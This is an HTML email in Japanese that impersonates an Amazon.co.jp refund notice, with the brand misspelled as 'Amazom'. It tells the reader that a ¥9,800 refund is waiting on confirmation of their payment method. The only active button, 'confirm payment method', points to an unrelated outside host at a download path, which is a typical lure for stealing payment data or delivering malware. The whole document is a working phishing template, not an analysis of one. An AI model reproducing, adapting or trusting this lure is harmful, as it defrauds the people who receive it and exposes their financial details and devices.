返金手続きのご確認のお願い
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>返金手続きのご確認 | Amazon.co.jp</title>
<style>
body{
margin:0;
background:#F3F4F6;
font-family:"Noto Sans JP","Amazon Ember","Helvetica Neue","Hiragino Kaku Gothic ProN","游ゴシック",Meiryo,sans-serif;
color:#111;
font-size:15.5px;
line-height:1.55;
font-weight:500;
}
.container{
max-width:600px;
margin:22px auto;
background:#fff;
border-radius:8px;
overflow:hidden;
box-shadow:0 1px 4px rgba(0,0,0,0.05);
}
.header{
background:#232F3E;
padding:14px 20px;
}
.logo{
color:#fff;
font-size:20px;
font-weight:700;
}
.logo strong{
color:#FF9900;
}
.content{
padding:20px;
}
.title{
font-size:20px;
font-weight:700;
margin-bottom:12px;
}
.text{
font-size:15px;
color:#333;
margin-bottom:10px;
}
.box{
background:#FAFAFA;
border:1px solid #E5E7EB;
border-radius:5px;
padding:12px;
margin:14px 0;
font-size:14px;
}
.row{
display:flex;
justify-content:space-between;
padding:5px 0;
}
.label{
color:#666;
}
.value{
font-weight:700;
}
.notice{
background:#FFF7ED;
border:1px solid #FED7AA;
border-left:3px solid #F59E0B;
border-radius:5px;
padding:12px;
margin:14px 0;
}
.notice-title{
font-weight:700;
font-size:15px;
margin-bottom:5px;
}
.notice-text{
font-size:14px;
}
.section{
margin-top:14px;
padding-top:8px;
border-top:1px solid #eee;
}
.section-title{
font-size:13px;
color:#666;
margin-bottom:3px;
font-weight:600;
}
.section-text{
font-size:15px;
}
.btn-wrap{
text-align:center;
margin:16px 0 4px;
}
.btn{
display:inline-block;
background:#FFD814;
border:1px solid #FCD200;
color:#111;
padding:9px 22px;
border-radius:22px;
text-decoration:none;
font-size:15px;
font-weight:700;
}
.help{
font-size:12px;
color:#777;
margin-top:8px;
line-height:1.5;
}
.footer{
background:#FAFAFA;
border-top:1px solid #E5E7EB;
padding:12px;
text-align:center;
font-size:11px;
color:#777;
}
.footer a{
color:#0066C0;
text-decoration:none;
margin:0 6px;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="logo">Amazom<strong>.</strong>co.jp</div>
</div>
<div class="content">
<div class="title">返金手続きのご確認のお願い</div>
<div class="text">お客様</div>
<div class="text">
平素よりAmazomをご利用いただきありがとうございます。<br>
2025年7月のご注文について、品質確認の結果返金対象となりましたが、
現在お支払い方法の確認が必要な状態となっております。
</div>
<div class="box">
<div class="row"><span class="label">注文番号</span><span class="value">DMS-1234567-8901234</span></div>
<div class="row"><span class="label">注文日</span><span class="value">2025年7月</span></div>
<div class="row"><span class="label">返金額</span><span class="value">￥9,800</span></div>
</div>
<div class="notice">
<div class="notice-title">お支払い方法の確認</div>
<div class="notice-text">
ご登録情報に確認が必要な項目があります。<br>
更新後、返金処理は自動的に再開されます。
</div>
</div>
<div class="section">
<div class="section-title">返金理由</div>
<div class="section-text">
商品の品質確認により製造上の不備が確認されたためです。
</div>
</div>
<div class="section">
<div class="section-title">返品</div>
<div class="section-text">
商品の返送は不要です。
</div>
</div>
<div class="btn-wrap">
<a href="https://limeiku.com/share/gDZWlkBFRgTT6cPC4si9/download" class="btn">
お支払い方法を確認する
</a>
<div class="help">
確認後、2〜3営業日以内に返金処理が行われます。
</div>
</div>
</div>
<div class="footer">
<a href="#">ヘルプ</a>
<a href="#">お問い合わせ</a>
<a href="#">プライバシー</a><br>
© 2026 Amazom.com, Inc.
</div>
</div>
</body>
</html>